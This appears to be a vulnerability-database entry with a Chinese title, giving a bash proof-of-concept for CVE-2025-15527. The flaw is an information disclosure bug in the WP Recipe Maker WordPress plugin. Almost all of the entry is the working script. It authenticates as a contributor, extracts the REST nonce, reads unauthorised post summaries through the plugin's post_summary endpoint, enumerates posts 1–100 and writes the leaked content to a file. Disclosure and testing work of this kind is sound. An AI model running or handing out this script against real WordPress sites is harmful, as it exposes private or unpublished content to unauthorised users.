CVE-2025-15527 WordPress WP Recipe Maker插件信息泄露漏洞

#!/bin/bash # CVE-2025-15527 PoC - WP Recipe Maker Information Disclosure # Requirements: Contributor+ level WordPress account WP_URL="http://target-wordpress-site.com" USERNAME="attacker_username" PASSWORD="attacker_password" TARGET_POST_ID=1 # Step 1: Authenticate and get nonces/cookies echo "[+] Obtaining authentication cookie..." COOKIE_JAR=$(mktemp) LOGIN_RESP=$(curl -s -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ -X POST "$WP_URL/wp-login.php" \ -d "log=$USERNAME&pwd=$PASSWORD&wp-submit=Log+In&redirect_to=/wp-admin/" \ -L) # Step 2: Get REST API nonce from admin page echo "[+] Extracting REST API nonce..." ADMIN_PAGE=$(curl -s -b "$COOKIE_JAR" "$WP_URL/wp-admin/admin.php?page=wprm_recipes") API_NONCE=$(echo "$ADMIN_PAGE" | grep -oP 'wpApiSettings.*?nonce.*?"([a-zA-Z0-9]+)"' | head -1) # Step 3: Exploit the vulnerability - retrieve unauthorized post summary echo "[+] Exploiting CVE-2025-15527..." echo "[+] Target Post ID: $TARGET_POST_ID" EXPLOIT_RESP=$(curl -s -b "$COOKIE_JAR" \ "$WP_URL/wp-json/wprm/v1/post_summary?post_id=$TARGET_POST_ID" \ -H "X-WP-Nonce: $API_NONCE" \ -H "Content-Type: application/json") echo "[+] Response:" echo "$EXPLOIT_RESP" | python3 -m json.tool 2>/dev/null || echo "$EXPLOIT_RESP" # Step 4: Batch enumeration (example for posts 1-100) echo "[+] Starting batch enumeration..." for post_id in {1..100}; do RESP=$(curl -s -b "$COOKIE_JAR" \ "$WP_URL/wp-json/wprm/v1/post_summary?post_id=$post_id" \ -H "X-WP-Nonce: $API_NONCE" 2>/dev/null) if echo "$RESP" | grep -q '"content"'; then echo "[+] Post ID $post_id - Information accessible!" # Extract and log sensitive content echo "$RESP" >> cve_2025_15527_results.txt fi done rm -f "$COOKIE_JAR" echo "[+] Exploitation complete. Check cve_2025_15527_results.txt for leaked data."